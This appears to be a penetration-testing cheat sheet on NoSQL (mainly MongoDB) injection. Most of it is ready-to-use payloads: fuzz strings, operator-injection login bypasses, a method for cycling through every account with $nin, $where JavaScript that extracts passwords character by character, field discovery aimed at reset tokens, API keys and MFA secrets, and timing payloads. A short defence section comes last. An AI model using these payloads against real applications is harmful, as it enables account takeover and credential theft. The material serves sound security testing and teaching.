NoSQL Injection

Two flavours:

See also SQL Injection, Authentication (auth-bypass payloads), API Security.

Where to look

Detection

Fuzz string (URL / param). The block below is one single payload spread over three lines; the newlines are part of it:

'"`{
;$Foo}
$Foo \xYZ

URL-encoded, that becomes:

'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00

If you have to inject it inside a JSON value instead, escape it so the JSON stays valid:

'\"`{\r;$Foo}\n$Foo \\xYZ

Single-character probes:

Input Look for
' error / different response, suggests string context
" same, double-quoted context
\ escape handling
; } ends the query block
null byte (%00) Mongo may truncate at null and drop trailing conditions

Boolean confirmation in a string context. Send a false and a true version, then compare:

fizzy' && 0 && 'x      false  (no / empty results)
fizzy' && 1 && 'x      true   (results come back)
fizzy'||'1'=='1        always true (dumps everything, including unreleased)
fizzy'%00              truncates, ignoring any further conditions

A quick way to prove the ' actually broke syntax: inject an escaped quote (\'). If that stops erroring, the raw ' was being parsed as syntax and you are in.

Be careful with always-true conditions like ||'1'=='1. The same request data is often reused in other queries, so an always-true filter can wipe rows if it lands in an update or delete.

Operator injection

JSON body, turning a string into an operator object:

{"username":{"$ne":"x"},"password":{"$ne":"x"}}          auth bypass, logs in as first user
{"username":{"$regex":"^admin"},"password":{"$ne":""}}   target admin
{"username":{"$in":["admin","administrator","root"]},"password":{"$ne":""}}
{"username":{"$gt":""},"password":{"$gt":""}}            alternative to $ne
{"username":"admin","password":{"$regex":"^a"}}          exfil char by char

URL-param form (when the body is not JSON):

username[$ne]=x&password[$ne]=x
username[$regex]=^admin&password[$ne]=

If the URL form fails, switch to POST with Content-Type: application/json and inject in the body. Burp’s Content Type Converter extension automates the flip.

Useful operators: $ne $gt $lt $in $nin $exists $regex $where $or $and $not $expr $type $mod.

Auth bypass shortcuts

Try in order:

  1. {"username":"admin","password":{"$ne":"x"}}
  2. {"username":{"$ne":"x"},"password":{"$ne":"x"}} logs in as the first doc, often root
  3. {"username":{"$regex":"^adm"},"password":{"$ne":""}}
  4. {"username":{"$in":["admin","administrator","superadmin","root"]},"password":{"$ne":""}}
  5. URL-encoded: username[$ne]=x&password[$ne]=x

$ne only logs you in as the first matching doc. To walk through every account, exclude the ones you have already landed on with $nin and keep growing the list:

{"username":{"$nin":["admin"]},"password":{"$ne":"x"}}            next user after admin
{"username":{"$nin":["admin","jude"]},"password":{"$ne":"x"}}     skip both, get the next

Repeat until you have hit every account. Cleaner than guessing names with $in.

Exfiltration via $where (server-side JS)

If the app uses $where, you get arbitrary JS in the query context, and this is the current document.

Length:

admin' && this.password.length == 8 || 'a'=='b
admin' && this.password.length < 30 || 'a'=='b    binary-search the length

Char by char:

admin' && this.password[0] == 'a' || 'a'=='b
admin' && this.password.match(/^a/) || 'a'=='b
admin' && this.password.match(/\d/) || 'a'=='b    contains a digit?

The trailing || 'a'=='b' keeps the injected string syntactically closed without changing the result. In Burp Intruder, a cluster bomb works well: position 1 is the index (0..len-1), position 2 is the charset (a-z0-9). Sort by length to spot the true hits.

Field-name discovery

You do not know the schema, since Mongo is schemaless. Discover fields.

Via $where and Object.keys(this):

"$where":"Object.keys(this)[0].match('^.{0}a.*')"    is the 1st char of the 1st field 'a'?
"$where":"Object.keys(this)[1].match('^.{0}a.*')"    move to the 2nd field, then walk the index

Increment the array index to walk all fields, and increment the {0} offset to walk characters. Look for things like passwordResetToken, apiKey, mfaSecret, email.

Or by guessing: admin' && this.password != ' and compare the response to a known-good field (username) versus a junk field (foo). A field that exists reads like username; one that does not reads like foo.

Operator-based exfil (no $where available)

{"username":"admin","password":{"$regex":"^a.*"}}
{"username":"admin","password":{"$regex":"^ab.*"}}
{"username":"admin","password":{"$regex":"^abc.*"}}

Bisect with character classes (^[a-m], then ^[a-f], and so on) for roughly log2(charset) requests per character.

Useful regex tricks:

^a.*           starts with a
.*z$           ends with z
^a{5}$         exact length 5
[A-Z]          contains an uppercase letter

Inject $where even when it is not there

Add it as an extra JSON key. Mongo applies every top-level key as a condition:

{"username":"carlos","password":{"$ne":"x"},"$where":"0"}   no match
{"username":"carlos","password":{"$ne":"x"},"$where":"1"}   match

If the two responses differ, the $where JS is being evaluated, so escalate to data extraction.

Timing-based (when responses do not differ)

admin'+function(x){var t=new Date(new Date().getTime()+5000);while((x.password[0]==='a')&&t>new Date()){};}(this)+'
admin'+function(x){if(x.password[0]==='a'){sleep(5000)};}(this)+'
{"$where":"sleep(5000)"}
{"$where":"if(this.password[0]=='a'){sleep(3000)}"}

Baseline the normal latency 5 to 10 times first so you know what “slow” looks like.

Other NoSQL DBs (quick hits)

Tools

CTF checklist

Defence

Validate types server-side (typeof password === 'string'), which kills most Mongo-driver operator injections on the spot. Allowlist input keys, and never spread user JSON straight into a query (db.users.findOne({...req.body}) is the classic sin). Avoid $where and mapReduce with user input. Parameterize through the driver’s typed query builders.